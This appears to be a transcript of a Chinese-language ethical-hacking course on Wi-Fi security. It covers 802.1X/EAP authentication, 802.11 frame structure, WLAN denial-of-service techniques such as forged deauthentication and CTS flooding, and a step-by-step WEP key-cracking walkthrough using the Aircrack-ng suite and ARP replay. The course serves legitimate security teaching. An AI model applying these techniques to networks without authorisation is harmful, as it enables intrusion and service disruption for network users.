802.1X是无线EAPOL认证的标准。它基于其以太网对应物——规定以太网物理介质和工作特性的802.3标准。在这个模型中,接入点没有加载预共享密钥,而是由认证服务器为接入点管理密钥。不过,申请者和认证服务器确实需要交换一个预共享密钥以支持密钥生成。
认证器将每个虚拟端口划分为两个逻辑端口:一个用于服务,另一个用于认证。这被称为端口访问实体。认证PAE始终开放以允许认证帧通过,而服务PAE仅在RADIUS服务器成功认证后才开放。申请者和认证器使用第2层EAPOL进行通信。一旦认证过程完成,申请者和认证器共享一个秘密主密钥,该密钥由RADIUS服务器与认证器共享。EAPOL支持多种相互认证协议,例如EAP传输层安全、EAP隧道传输层安全和受保护的EAP。
EAP与RADIUS的封装与部署
EAP RFC没有规定消息应如何传递。例如,它没有规定使用IP在互联网上传输。事实上,EAP根本不是一个LAN协议,因为EAP最初设计用于通过调制解调器进行拨号认证。因此,为了在我们的网络中传递EAP消息,我们需要一种封装方法。
以下是EAP消息传递和RADIUS部署的关键点:
- 封装协议:IEEE 802.1X定义了一个称为EAP over LAN的协议,用于在申请者和认证器之间传递EAP消息。而RADIUS则用于认证器和认证服务器之间。顺便说一下,RADIUS是拨号认证的遗留协议,不是Wi-Fi认证协议,所以你必须确保你的服务器支持EAP。
- RADIUS服务器部署:RADIUS服务器的部署没有标准定义。一些认证服务器专用于特定的认证方法。其他服务器可能具有特殊功能,例如冗余或分布式操作。冗余服务器具有备用单元,在主服务器故障时无缝接管;分布式服务器有许多在不同位置运行的服务器,同时保持公共认证数据库在所有节点之间更新和一致。
- RADIUS的定义:但RADIUS确实定义了两件事。首先,它定义了认证服务器之间应共有的功能。其次,它定义了一个允许其他设备访问这些功能的协议。
![]()
802.1X握手步骤
了解了组件后,我们来看看802.1X认证的具体握手步骤。802.1X握手分为三个主要步骤。
以下是详细的握手过程:
- 初始化:检测到新的申请者时,认证器上的端口被启用并设置为未授权状态。在此状态下,只允许802.1X流量,其他流量(如互联网流量)被阻止。
- 启动:在此阶段,认证器会定期向本地网段上的一个特殊地址发送EAP请求身份帧。申请者监听此地址,并在收到EAP请求身份帧后,用包含申请者标识符(如用户ID)的EAP响应身份帧进行回复。认证器反过来将此身份响应封装在RADIUS访问请求数据包中,并转发给认证服务器。顺便说一下,在略有不同的方法中,申请者也可以通过向认证器发送EAPOL开始帧来启动认证,认证器随后会回复一个EAP请求身份帧。
- EAP协商与认证:
- 协商:认证服务器发送一个封装在RADIUS访问质询数据包中的回复给认证器,其中包含一个EAP请求,指定它希望申请者执行的EAP认证类型。认证器将EAP请求封装在EAP帧中并发送给申请者。此时,申请者可以开始请求的EAP方法,或者发送一个NACK并回复一个它愿意执行的EAP方法。
- 认证:假设认证服务器和申请者就EAP方法达成一致,EAP请求和响应在申请者和认证服务器之间发送,由认证器进行转换,直到认证服务器响应一个封装在RADIUS访问接受数据包中的EAP成功消息,或者一个封装在RADIUS访问拒绝数据包中的EAP失败消息。如果认证成功,认证器将端口设置为授权状态,允许正常流量。如果不成功,端口保持未授权状态。当申请者注销时,它向认证器发送一个EAPOL注销消息。认证器然后将端口再次设置为未授权状态,阻止所有非EAP流量。
下图试图捕捉带有基础设施中认证服务器的企业流程:

首先,AP发送信标。如果工作站需要服务,它向AP请求开放式认证。认证后,工作站和AP关联并同意使用802.1X认证,工作站通过接入点联系认证服务器。工作站和认证服务器完成认证握手,然后它们交换消息或密码短语,用于生成公共的成对主密钥。但在这一点上,接入点没有PMK。因此,认证服务器将PMK作为加密有效载荷(有时称为密钥包装)传递给AP。现在,工作站和AP生成公共的成对临时密钥并进入加密模式。
Passpoint与无缝漫游
最后,我们来看看提升用户体验的Passpoint技术。Passpoint为移动设备在漫游时提供自动化的Wi-Fi网络发现和连接能力。
以下是Passpoint的关键特性:
- 自动连接:漫游设备可以自动连接到任何参与ISP的电缆Wi-Fi热点。为此,AP必须支持基于IEEE 802.11u的网络信息,然后客户端设备通过使用接入网络查询协议消息收集必要信息。
- 信息发现:支持802.11u的电话客户端根据在预关联阶段从支持802.11u的无线局域网控制器收集的信息来发现和选择目标AP,控制器提供各种信息,如热点所有者详细信息、漫游合作伙伴领域列表、3GPP蜂窝信息和域名。
- 认证与配置:领域列表还提供领域名称及其关联的EAP认证类型映射的列表。了解这些信息对于电话客户端设备至关重要,以便进行正确的EAP凭证交换。一旦识别出热点,认证基于具有后端认证服务器的WPA2企业模型。电话客户端必须要么拥有预配置的网络信息(如家庭组织标识符、领域名称和域名)在预配置文件中,要么它可以使用从SIM卡衍生的IMSI数据获取家庭网络信息。
- 安全性提升:Passpoint的另一个好处是增强了针对恶意接入点的安全性,因为握手的一部分包括确定服务提供商接入点合法性的信息。
总结

本节课中我们一起学习了Wi-Fi连接的核心机制。我们详细剖析了从认证、关联到数据交换的标准三步流程,对比了WEP的开放式与共享密钥认证,并深入探讨了更安全的WPA/WPA2认证,包括其预共享密钥和基于802.1X/EAP-RADIUS的企业级认证方式。最后,我们了解了Passpoint技术如何实现安全无缝的Wi-Fi热点漫游。理解这些认证与连接建立原理,是进行无线网络安全评估和道德黑客测试的重要基础。接下来,我将介绍Wi-Fi数据包的结构。
048:数据包结构与协议分析 📡
在本节课中,我们将要学习Wi-Fi数据包的结构,特别是如何理解并构造一个“解除认证”数据包。这对于后续捕获WPA四次握手过程至关重要。我们将从以太网数据包的基础结构讲起,逐步深入到更复杂的无线网络(802.11)帧结构,并解释不同类型帧的用途和格式差异。
以太网数据包结构基础
上一节我们介绍了课程目标,本节中我们来看看数据包的基础结构。Wi-Fi数据包的结构由IEEE规范定义。
下图简单描绘了以太网数据包的格式。它展示了OSI模型第三层的数据,是如何先被以太网头部封装,然后再被物理层头部封装以进行传输的。


从技术上讲,帧存在于第二层(数据链路层),而数据包存在于第三层(网络层)。这就是为什么帧校验序列(Frame Check Sequence)添加在第二层,其名称中就包含了“帧”字。请注意,在术语使用上可能并不总是非常严谨。
以太网数据包详解

了解了基本概念后,我们来看一个更详细的以太网数据包视图。它增加了细节,显示以太网帧头部包含目的MAC地址和源MAC地址。

无线协议的引入带来了第三方——无线接入点(Access Point)的概念。这需要对以太网数据包的一些概念进行扩展。对于以太网头部,由于至少有45种协议,需要标识出载荷所使用的协议(例如,一个IP数据报)。一个32位的CRC算法被用于以太网帧的帧校验序列。
无线网络(802.11)帧结构
无线标准在第二层引入了MAC头部的概念,以取代以太网头部。请注意,MAC头部更为复杂,包含了三个MAC地址:源地址、目的地址和接入点地址。
MAC头部的格式取决于该信息是控制帧、管理帧还是数据帧,稍后将进行讨论。MAC头部包含源和目的MAC地址,以确保帧能被传递到正确的设备。目的地址可以是单播(必须传递给单个设备),也可以是组播(可能传递给范围内的多个或所有设备)。MAC头部还包含其他字段,我们稍后会讨论帧控制字段。
以下是802.11的三种帧类型,我们必须区分它们,因为MAC头部中MAC地址的顺序会根据帧类型而变化。
- 控制帧:未加密,用于发送“请求发送”(RTS)和“清除发送”(CTS)消息。RTS表明“我想要发送”,并包含源地址、目的地址和传输时长。如果介质空闲,则返回CTS,重复传输时长以确保所有设备都了解介质将被占用的时间。
- 管理帧:同样未加密,用于此处列出的所有帧类型。本实验课程中我们感兴趣的是认证帧,它是一种管理帧。因此,如果你想在IEEE标准中查找它,应该从管理帧类别中寻找。
- 数据帧:最后一种类型,可能被加密,并以相关设备的数据速率发送。


帧控制字段详解
帧控制字段长16位,我们需要理解其中的几个设置。
- 如果载荷被加密,则第14位被置位。这通常被解析为WEP位,但它也标志着WPA加密。
- 第8位和第9位(
To DS和From DS)决定了MAC头部中MAC地址的顺序。 - 第2位到第7位标志着帧类型(控制、管理、数据)及其子类型。例如,管理帧的一个子类型可能表示一个信标帧。
如果你查看IEEE规范,你会看到控制帧有6种子类型,管理帧有7种子类型,数据帧有10种子类型。你需要指定这些细节来构造一个解除认证帧。


地址顺序与帧类型关系
此图展示了To DS和From DS这两个比特位如何与帧类型关联。
首先,注意左侧这两个比特位的可能设置。右侧,你可以看到MAC地址顺序如何变化。对于最后一种情况,你还会看到第四个MAC地址的加入。
To DS=0, From DS=0:用于所有管理帧、所有控制帧,以及在自组织网络中从一个站点发送到另一个站点的任何数据帧。To DS=1, From DS=0:在基础设施网络中,移动设备将帧发送给接入点,然后由接入点转发到正确的目的地。这种情况下,移动设备创建并发送消息,接入点接收它们但不是最终目的地,因此需要3个地址。To DS=0, From DS=1:同样指定基础设施网络帧,用于由接入点转发的数据包。To DS=1, From DS=1:指定无线分布式系统,用于在两个接入点之间发送帧,因此必须包含第二个接入点的MAC地址。
在图中,接收方和发送方MAC字段是针对接入点的,而源和目的MAC字段是针对站点的。基本上,源MAC是创建原始消息的设备,目的MAC是最终接收消息的设备。序列控制字段用于管理属于同一帧的不同分片。
帧类型与子类型参考
下图展示了由Sands制作的帧类型/子类型参考指南。此信息对应于帧控制字段中的帧类型和子帧类型。

设置帧类型相当简单,因为它只占2位,唯一选项是00、01和10。子帧类型使用4位。底部的图表显示了帧控制字段,以及指定信标帧的比特位:子类型1000和类型00。
总结

本节课中我们一起学习了Wi-Fi帧结构。这应该提供了足够的信息来为实验构造一个解除认证数据包。如果你想的话,可以使用Scapy等工具来构造和发送它。关于解除认证帧还有一些独特的细节,你需要参考IEEE标准才能正确设置。接下来,我将有几张关于信标和探测包的幻灯片。
049:信标帧与探测帧 📡
在本节中,我们将探讨无线网络中的两种关键管理帧:信标帧和探测帧。它们是无线接入点与客户端设备建立连接的基础。我们将了解它们的工作原理、结构以及在实际网络分析中的意义。
信标帧:接入点的“广告”
信标帧是无线接入点定期发送的管理帧,用于宣告自身的存在和网络参数。我们可以将其理解为接入点持续发出的“广告”。
以下是信标帧中包含的主要信息字段:

- 时间戳:用于同步所有关联到该接入点的站点时钟。
- 信标间隔:表示两次信标发送之间的时间间隔。站点在进入省电模式前需要知道此间隔,以便在正确时间唤醒并接收信标,从而了解接入点缓冲区中是否有等待自己的数据帧。
- 能力信息:定义了希望加入该无线局域网的站点必须满足的要求。例如,它可能要求所有站点必须使用WEP加密才能加入网络。
- 服务集标识符:标识一个特定的无线局域网。站点在与某个无线局域网关联前,必须拥有与接入点相同的SSID。默认情况下,接入点会在信标帧中包含SSID,以便站点能嗅探并自动配置无线网卡。
- 支持速率:描述该无线局域网支持的数据传输速率。例如,信标可能指示仅支持1、2和5.5 Mbps的速率。
- 参数集:提供有关特定信号方法的信息,例如跳频扩频或直接序列扩频,以及接入点正在使用的信道号。
- 流量指示图:接入点周期性地在信标中发送TIM,以标识哪些使用省电模式的站点在接入点缓冲区中有等待接收的数据帧。TIM通过关联过程中接入点分配的关联ID来识别站点。

上图展示了一个使用Kismet捕获并在Wireshark中显示的信标帧。请注意几个关键字段:
- 信标帧的十六进制表示为
80或二进制0000 1000 0000。 - 目标地址是广播地址
FF:FF:FF:FF:FF:FF,意味着它发送给所有人。 - 源地址和BSSID(接入点的MAC地址)相同,因为正是接入点在发送此帧。
探测请求与响应:站点的“主动询问”
上一节我们介绍了接入点如何主动宣告自己。本节中,我们来看看站点如何主动寻找网络。
当站点使用主动扫描来确定范围内有哪些接入点可供关联时,它会广播一个探测请求帧。一些嗅探软件工具也会发送探测请求,以便接入点用所需信息进行响应。
接入点收到针对其SSID的探测请求后,会向探测站点发送一个802.11探测响应帧。探测响应帧与信标帧非常相似,只是它不携带TIM信息,并且仅在收到探测请求后才发送。

上图展示了一个探测请求帧。注意其目标地址同样是广播地址 FF:FF:FF:FF:FF:FF,而源地址是发起探测的站点MAC地址。
深入分析信标帧内容
让我们更深入地查看之前捕获的信标帧中的一些关键字段。

此截图聚焦于信标帧的“能力信息”字段。可以看到加密已开启。请注意,虽然我的接入点配置为使用WPA2,但802.11规范(以及因此Wireshark解析此字段的方式)并不区分WEP和WPA。能力字段的最高位确认发送者是一个接入点。


此截图则聚焦于信标帧的“参数”部分。信标包含了关于支持的传输速率和正在使用的信道号的信息。同时,请注意存在一些厂商特定的参数。图中高亮显示了“扩展支持的速率”。

“隐藏”网络与安全误区
有时,家庭用户会关闭信标广播或隐藏SSID,认为这样可以提高安全性。但这并不能真正提升安全,除非你完全不使用你的Wi-Fi网络。
监控工具可以通过简单地检查数据包,轻松确定一个不发送信标的接入点的存在。它们能获取到MAC地址、信道、传输速率,判断流量是否加密,并将其识别为一个“隐藏的SSID”。

当SSID未包含在信标帧中,或者信标功能被关闭时,站点需要被配置为探测特定的SSID才能建立连接。除了TIM字段,信标帧和探测响应帧的内容是相同的。
总结与下节预告

本节课中,我们一起学习了无线网络中的信标帧和探测帧。信标帧是接入点定期发送的广播,用于宣告网络存在和参数;而探测请求/响应是站点主动发现和查询网络信息的机制。我们还分析了这些帧的实际捕获示例,并讨论了关闭信标广播对安全性的有限影响。
接下来,我们将探讨一些无线局域网的漏洞,并深入剖析WEP协议,找出其已被WPA解决的关键缺陷。


050:WLAN安全漏洞详解 🔓
在本节课中,我们将深入探讨无线局域网(WLAN)中存在的多种安全漏洞。我们将从高层面概述几种攻击方式,并重点分析WEP协议的核心弱点,为后续的实际攻击操作打下理论基础。
无线拒绝服务攻击

上一节我们介绍了无线网络的一些漏洞,本节中我们来看看如何利用其中一些漏洞发起攻击。首先,我们将介绍几种导致拒绝服务(DoS)的攻击方式。
以下是几种常见的无线DoS攻击方法:
- 带宽耗尽攻击:这种攻击本质上与任何消耗目标设备资源的TCP攻击类似,例如SYN洪水攻击。
- 进程耗尽攻击:攻击者通过发送超出接入点(AP)处理能力的重复认证请求,耗尽AP的进程资源。本模块开头讨论的“帧泛洪”攻击也属于此类,它通过发送大量探测或关联请求帧使AP过载。
- 针对站点的DoS攻击:攻击者可以伪造AP的MAC地址向目标站点发送数据包。接收方无法区分这些帧是否合法,只能进行处理,从而消耗其资源。
- 管理帧欺骗攻击:伪造管理帧的能力不仅允许进行MAC层的帧泛洪攻击,还能发起取消认证和取消关联洪水攻击,持续将站点从AP断开连接。

本模块后续将重点讨论底部用红色箭头标记的两项攻击:针对WPA的字典攻击和针对WEP的密码学攻击。
干扰与取消认证攻击
除了协议层面的攻击,物理干扰也是一种有效手段。
对于工作在2.4GHz频段的接入点,干扰可以成为一种有效的攻击技术。无绳电话和微波炉都会造成干扰,甚至可以被用作攻击工具。一些老式微波炉的屏蔽层有孔隙,会泄漏2.4GHz信号,导致Wi-Fi设备断开连接。随着支持5GHz的双频路由器的普及,这种情况有所缓解,但2.4GHz频段仍然可能受到攻击,且一些双频路由器可能未正确配置使用第二个频段。
发起取消认证攻击需要目标的MAC地址和信道信息,而像Kismet这样的工具可以自动收集这些信息。一旦嗅探到这些信息,我们就可以伪造取消认证数据包并发动攻击,强制目标断开连接。如果持续进行,这就演变为拒绝服务攻击。过去,一些酒店曾尝试通过这种手段迫使客人使用其收费网络,而不是个人移动热点。


碰撞避免拒绝服务攻击
碰撞避免拒绝服务(CA DoS)攻击利用了802.11协议中的碰撞避免机制,其工作原理如下:
在正常操作中,当节点A要向节点B发送数据时:
- 节点A首先向节点B发送一个请求发送(RTS)数据包,其中包含节点B的地址和完成数据传输所需的时间。
- 节点B收到RTS后,回复一个允许发送(CTS)数据包,其中也包含持续时间信息。
- 节点A的RTS也会被节点C收到。如果节点C在A的传输范围内,但发现自己不是目标接收者,它会通过设置一个名为网络分配向量(NAV)的计时器来阻止自己访问信道。
- 同样,在节点B传输范围内的节点D收到B发出的CTS后,也会设置自己的NAV计时器。
- 这样,A和B附近的节点都会设置NAV以避免碰撞。NAV是一个从RTS或CTS包中的持续时间字段初始化的递减计数器。
- 节点A开始向节点B传输数据。传输完成后,节点B回复确认(ACK)包。此时,节点C和D的NAV计时器归零,解除阻塞。
利用此机制的攻击会持续发送包含高持续时间值的伪造CTS控制帧。每个看到这些CTS帧的节点都会阻塞自己。由于攻击是持续的,这些节点永远无法解除阻塞,从而造成拒绝服务。
WEP协议的问题与攻击准备
现在,我们来探讨WEP协议到底存在什么问题。

如果你想探索无线漏洞并计划进行Wi-Fi实验,你需要一个无线适配器。你的主机很可能自带一个,但虚拟机(VM)无法直接与主机适配器交互以将其置于监控模式。解决方案之一是使用USB无线适配器,它应该能被你的Kali虚拟机识别。

但并非所有适配器都能与Kismet或Aircrack-ng等Wi-Fi工具兼容。互联网上有大量讨论,但大多针对宿主机直接运行Kali的情况,而非虚拟机环境。因此,阅读时需要仔细甄别。
目前,一个可能可行的方案是使用带有Atheros芯片的TP-Link TL-WN722N适配器。但请注意,兼容性可能随虚拟机软件更新而改变。如果购买后无法使用,建议改用从Live USB启动Kali的路径,这可以绕过虚拟机驱动问题。你需要在Live USB上创建一个持久化分区。最后一个选项是直接在宿主机上安装Aircrack-ng等工具,但这会失去Kali环境的便利性。
在VirtualBox中连接USB适配器的方法是:插入适配器时取消宿主机安装驱动,然后从VirtualBox菜单选择“设备”->“USB设备”,勾选你的USB适配器以激活它。
WEP加密原理与弱点
在深入分析WEP算法前,需要回顾一下异或(XOR)运算的工作原理。

如果 A XOR B = C,那么 C XOR A = B,且 C XOR B = A。这意味着,如果你用密钥流对明文进行异或得到密文,那么用相同的密钥流对密文再次异或就能恢复明文。同时,由于异或的特性,将明文与密文进行异或也能得到密钥流。我们将在分析WEP时利用这一事实。
WEP使用RC4算法,其工作流程如下:
- 将一个24位的初始化向量(IV)与一个密钥连接起来,输入RC4算法以生成密钥流。早期WEP使用40位密钥,后增至104位。密钥流是一种伪随机数生成器产生的、长度与待加密明文匹配的字节流。
- 同时,对明文计算一个32位的CRC校验值,称为完整性校验向量(ICV)。
- 将明文与其ICV连接。
- 用生成的密钥流对“明文+ICV”进行异或运算,产生密文。
- 最终传输的数据是:
IV + 密钥ID + 密文。密钥ID(0-3)告诉接收方使用四个WEP密钥中的哪一个来重建密钥流进行解密。

理解这个算法对实验至关重要。思考如何对WEP进行暴力破解攻击:如果你猜测了一个密钥K,你需要嗅探什么数据?需要进行哪些计算和比较,才能确定你是否猜对了秘密密钥?
WEP的安全缺陷总结

本幻灯片总结了WEP协议易受攻击的问题,所有这些问题都在其替代者WPA2中得到了解决。
以下是WEP的主要安全缺陷:
- IV长度过短:IV只有24位,即使在繁忙的网络中会变化,也很快就会重复使用。当IV重复时,密钥流也随之重复,这种碰撞使得密码分析成为可能,从而可以恢复出密钥。
- IV重用导致重放攻击:IV重用意味着消息可以被重放,这本质上与重用相同,并促进了密码分析。在后续攻击中,重放数据包是一个重要组成部分。此外,标准并未强制要求IV必须递增。
- IV明文传输:IV以明文形式传输,可以被轻易嗅探。这不仅将有效密钥长度从128位减少到104位,更重要的是,知道了密钥的前24位(即IV),极大地帮助了破解RC4算法,从而泄露密钥。

WEP破解的关键步骤与ARP协议

以下是WEP破解的关键步骤。攻击始于认证过程,当接入点向站点发送一个128位的随机数(挑战值)用于加密时,攻击者可以嗅探到这个明文挑战值以及站点返回的对应密文响应。因此,将密文与明文进行异或运算,就能得到密钥流。由于我们还能嗅探到明文传输的IV,我们就拥有了足够的信息对RC4发起密码分析攻击。
基本上,当密钥开头的少数字节已知时,该算法就变得脆弱。而在WEP中,我们已知前24位(即IV)。

RC4的一个基本弱点是,在某些情况下,与密钥连接的IV可以决定密钥流的初始字节。由于我们知道IV,如果我们能收集到一些IV使得初始少数比特决定了密钥流的例子,密码分析就能给出密钥。因此,虽然密钥流本身可能很强,但使用某些特定IV的密钥会变得脆弱,因为IV在决定密钥流时扮演了过大的角色。
最后,需要回顾一下地址解析协议(ARP)的作用,因为它将在我们的攻击方法中扮演重要角色。ARP将IP地址链接到物理传输所需的MAC地址。为了减少广播数量,ARP会维护一个IP地址到MAC地址映射的缓存以供将来使用。ARP缓存可以包含动态和静态条目。动态条目有最多10分钟的生命周期。你可以使用 arp -a 命令查看ARP缓存。
总结


本节课我们讨论了几种重要的WLAN漏洞,并深入剖析了WEP协议,了解了其弱点所在。下节课,我们将学习如何利用这些弱点来捕获秘密加密密钥。
051:WEP加密破解 🔓
在本节课中,我们将学习如何破解WEP加密的Wi-Fi网络。WEP是一种过时且不安全的无线加密协议,其漏洞允许攻击者在收集足够数据后恢复出网络密钥。我们将使用Aircrack-ng工具套件,并遵循一套特定的方法论来完成此过程。请注意,仅对您拥有或获得明确授权的设备进行此类测试是合法的。
概述
WEP加密的破解依赖于收集足够多的初始化向量。通过重放关联客户端的ARP请求,可以迫使接入点生成包含新IV的响应包。当收集到足够多的IV后,就可以利用RC4流加密的弱点进行密码分析,从而破解出密钥。
工具准备 🛠️
上一节我们介绍了WEP的基本原理,本节中我们来看看用于破解的具体工具。Aircrack-ng是一个用于审计无线网络安全的工具套件。本讲座将讨论其中几个核心工具,但不会涵盖全部。例如,我们不需要接入点欺骗工具,但如果您想实施“邪恶双子”攻击以收集凭证,该功能可能有用。
需要注意的是,某些无线网卡不支持监控模式。因此,即使您直接在主机或虚拟机中运行这些工具,如果网卡受限,工具也可能无法工作。
以下是破解WEP接入点将用到的工具:
- airmon-ng:用于将无线网卡置于监控模式。
- airodump-ng:用于捕获数据包,发现WEP网络及其关联的客户端。
- aireplay-ng:用于捕获并重放数据包(如ARP请求),以促使接入点生成新的IV。
- aircrack-ng:用于对收集到的IV进行密码分析,最终破解出WEP密钥。
互联网上有成千上万关于如何使用这些工具的讨论,许多作者使用的方法可能与我不同。因此,如果您阅读更多关于这些工具的资料,即使在Aircrack-ng官网上,也可能会发现不同的方法偏好。
步骤详解 📝
1. 启用监控模式
首先,您需要运行 ifconfig 命令来获取您的Wi-Fi适配器名称。在我的例子中,它是 wlan0。
以下截图显示了使用 airmon-ng 将适配器置于监控模式的过程。您可以看到,运行时识别出两个可能产生冲突的进程。在启动监控之前,先运行带有 --check-kill 参数的 airmon-ng 命令,旨在停止这些冲突进程。
然后,当您将适配器置于监控模式时,错误消息应该会消失。成功运行 airmon-ng 后,将创建一个与 wlan0 关联的新接口,名为 mon0。
另一个我无法完全解释的现象是,有时您需要运行两次 airmon-ng。希望这是一个在我遇到之后已被修复的bug。当您运行两次时,最终会得到两个新接口:mon0 和 mon1。mon1 可以工作,但 mon0 不行。如果您在启用监控模式时遇到问题,可以尝试这种方法。
另外,您可以看到这些截图是在Kali Linux出现之前的BackTrack系统上制作的。它显示采用Ralink芯片的适配器可以工作。我不知道是VirtualBox升级还是BackTrack升级导致了问题,但现在该芯片已无法工作。


此截图显示了名为 mon0 的新接口,它与 wlan0 关联,并已启动运行在混杂模式下。实际上,在运行 airodump-ng 之前,您不会看到“混杂”状态,因为 airmon-ng 只是将其置于监控模式。
顺便提一下,不同的工具会创建不同名称的监控接口。例如,Kismet将接口命名为 wlan0mon,而不是 mon0。即使是同一个工具,在升级后也可能更改名称。因此,请利用 ifconfig 命令确保您知道接口的名称以及它是否处于混杂模式。
2. 探测网络与客户端
此截图显示 airodump-ng 正在 mon0 接口上捕获数据包,并将附近Wi-Fi网络的详细信息输出到屏幕。您也可以将相同信息以各种格式写入文件以供离线分析,例如,用于Wireshark的Pcap文件、用于电子表格分析的CSV文件,或者如果您更喜欢Kismet工具,则可以保存为Kismet文件。
请注意,当时有三个启用了WEP的接入点,两个使用信道11,一个使用信道1。您还可以在底部看到,所有WEP接入点都没有关联的客户端站。因此,在那一刻,没有可攻击的目标。

显然,如果 airodump-ng 在一个信道上收集数据包,它就无法同时在其余13个信道上收集。这意味着可能会错过重要的数据包。为了减少这种冲突并优化数据包收集,我们可以指定用于收集的信道。

之前的截图显示启用了WEP的接入点使用信道1和11。因此,在此屏幕上,我将数据包收集限制在这两个信道。

3. 选择攻击目标
这显示了电子表格中的 airodump-ng 输出。从底部开始,请注意只有一个客户端站被识别为与某个接入点关联。但由于某些原因,工具未识别出该接入点的SSID。此外,该客户端站不活跃,因为只嗅探到一个数据包。
查看顶部,有三个接入点。找到似乎有关联客户端的相同MAC地址,我们看到它生成的IV数量不如第三个接入点多。而收集IV是我们的目标。由于第三个接入点的IV计数更高,并且第一个接入点不属于我,我决定以第三个接入点为目标,并收集该接入点的信息。
这些数据中还存在另一个明显的异常。第三个接入点启用了WEP,这意味着它使用共享密钥认证,但它却被标识为使用开放认证。我认为我们得出的结论是,这类工具很好,但并不完美。因此,作为道德黑客,我们需要在操作过程中进行批判性思考。
所以,我们的目标将是BSSID为 00:1f:90:e0:56:fe 的接入点。


4. 捕获关联客户端

选定目标后,我们现在进一步将嗅探限制在该MAC地址(接入点)和信道1上。
收集一段时间数据后,我们可以识别出与目标关联的一个活跃客户端站的MAC地址。

5. 重放数据包以生成IV
现在我们有了接入点和客户端站的MAC地址,可以开始收集两者之间的ARP请求并重放它们。一旦 aireplay-ng 看到一个ARP请求,它就会立即重放。立即重放比仅仅监听和保存ARP请求更快。
但我们希望增加可用于重放的数据包数量。因此,该工具在重放的同时也会保存ARP请求,并将收集到的所有内容放入一个Pcap文件中。由于所有ARP请求都被捕获到一个重放文件中,我们可以重放整个文件,从而加速IV生成过程。
aireplay-ng 的语法可以直接重放嗅探到的内容。但在下一张幻灯片中,我们将开始使用重放文件来增加ARP请求的数量。



6. 利用重放文件加速
这是 aireplay-ng 收集ARP请求并重放它们的截图,同时它生成一个由日期和时间唯一标识的重放文件。
重要的一点是,Pcap文件包含两种类型的条目。首先,它包含捕获并重放的ARP请求。但它也包含来自接入点的ARP响应。显然,ARP响应无法被重放,但新的IV对于破解是必需的。
有一个问题:为什么我们在捕获文件中获得不止一个ARP请求?客户端站应该发送几个初始ARP请求,获得响应后,直到ARP缓存被删除前不会再发送另一个。答案是,我们正在重放那个单一的请求。aireplay-ng 在收到ARP请求时会重放它,但它会重放多次。这避免了等待ARP缓存超时,同时也是创建更大重放文件的催化剂。


7. 启动破解过程
这显示了使用重放文件启动 aireplay-ng 的语法。但在开始重放之前,我们希望启动针对目标接入点的 airodump-ng,以便获得一个干净的破解文件,其中填充了来自接入点的、包含新IV的响应。
我将破解文件命名为 crack。但如果我们需要在收集到足够IV之前停止会话,我们可以按顺序编号破解文件,破解程序将按相同顺序处理它们。因此,我们可以使用 crack1、crack2 等,为每个收集会话使用不同的名称。

这是 aireplay-ng 使用重放文件的截图。它与不使用重放文件时的 aireplay-ng 输出几乎相同。

这是 aircrack-ng 找到密钥的截图。关于 aircrack-ng 有几点说明:如前所述,它可以处理跨多个会话收集的AP响应,但它也可以与 aireplay-ng 和 airodump-ng 同时运行,即使AP响应收集尚未完成。

8. 验证与连接

此截图显示在密钥被识别后,成功连接到目标网络。

总结

本节课中我们一起学习了使用Aircrack-ng工具套件破解WEP加密Wi-Fi网络的全过程。这张幻灯片总结了我所使用的WEP密钥破解步骤。正如我之前所说,互联网上讨论了许多其他方法。我认为Aircrack-ng官网也使用了一种略有不同的方法。
核心步骤总结如下:
- 使用
airmon-ng将无线网卡置于监控模式。 - 使用
airodump-ng发现目标WEP网络及其关联的客户端。 - 使用
aireplay-ng捕获并重放客户端与接入点之间的ARP请求,迫使接入点生成大量包含新IV的响应。 - 使用
airodump-ng专门捕获这些响应数据包。 - 当收集到足够IV(通常数万到数十万个)后,使用
aircrack-ng进行密码分析,破解出WEP密钥。
接下来,我们将讨论WPA及其为应对WEP漏洞而实施的改进措施,同时保持向WPA2兼容的过渡路径。


052:摒弃WEP,WPA安全性探讨 🔐
在本节课中,我们将深入探讨WPA(Wi-Fi Protected Access)协议如何解决其前身WEP(Wired Equivalent Privacy)的安全缺陷。我们将详细解析WPA的核心机制,包括其密钥层次结构、临时密钥完整性协议(TKIP)以及四次握手过程,以理解它如何为无线网络提供更强的保护。
我们知道,WEP对于我们的接入点来说是一个糟糕的选择。我们也知道,WPA的设计旨在解决WEP中的弱点。但这具体意味着什么?这些改变是否真正达到了目标?
你或许可以将WPA视为WPA2的一个子集。它扩展了WEP的一些理念,使其更安全,同时允许重用WEP的固件。并且,它与当前的WPA2标准向前兼容。尽管采用了这种渐进式的方法,但我的旧路由器还是变成了废品,因为制造商没有足够的前瞻性来让固件可以升级。WPA2现在已成为802.11规范的一部分。

如前所述,WPA同时支持预共享密钥认证和使用RADIUS认证服务器的企业级解决方案。在本模块的剩余部分,我们将专注于预共享密钥方案,因为尽管有安全增强,一个弱密码短语仍可能使WPA变得脆弱。虽然它不易受到密码分析攻击,但字典攻击对弱密码是有效的。
在通往WPA2的道路上,WPA是一个过渡性解决方案,因此我们将从这里开始。WPA的目标是提供一个解决WEP问题的方案,同时保留WEP设计的许多理念,并为未来发展铺平道路。因此,RC4算法暂时保留,但其周围的一切都得到了加强。
在WEP中,24位的初始化向量(IV)改变了密钥流,但前置一个会重复的IV被证明是有问题的。换句话说,IV的实现决定了密钥流变化的频率。理论上,如果IV是恒定的,密钥流可能永远不会改变。虽然我没听说过有实现采用这种方式,但我们并不真正知道供应商多久改变一次IV。无论如何,临时密钥完整性协议(TKIP)通过为每个加密的帧动态改变密钥,解决了IV的问题。
完整性算法也从CRC-32加强为一种更安全的算法,称为Michael。最后,认证方式从简单地加密并返回一个128位数字的密文,改变为需要交换大量信息并产生一个大大改进的认证机制的四次握手。

我们将逐步了解这些变化,以实现对预共享密钥的更安全使用。但请记住,在使用RADIUS服务器的802.1X环境中,服务器管理主密钥,没有预共享密钥(PSK)。
这些就是我们需要理解的变化,而临时密钥完整性协议将是第一个。
临时密钥完整性协议(TKIP)与密钥层次结构
上一节我们提到了WPA旨在解决WEP的弱点,本节中我们来看看其核心机制——临时密钥完整性协议(TKIP)及其密钥派生过程。
TKIP的成对密钥层次结构从左侧开始,包括共享的密码短语和Wi-Fi网络的SSID。密钥哈希消息认证码(HMAC-SHA1)使用密码短语作为密钥。

基于密码的密钥派生函数(PBKDF2)实际上通过并行的HMAC-SHA1计算来生成成对主密钥(PMK),这些计算结果被连接并截断以产生一个256位的PMK。请注意,PMK在操作期间基本上是固定不变的,除非密码短语或SSID改变,否则永远不会改变。
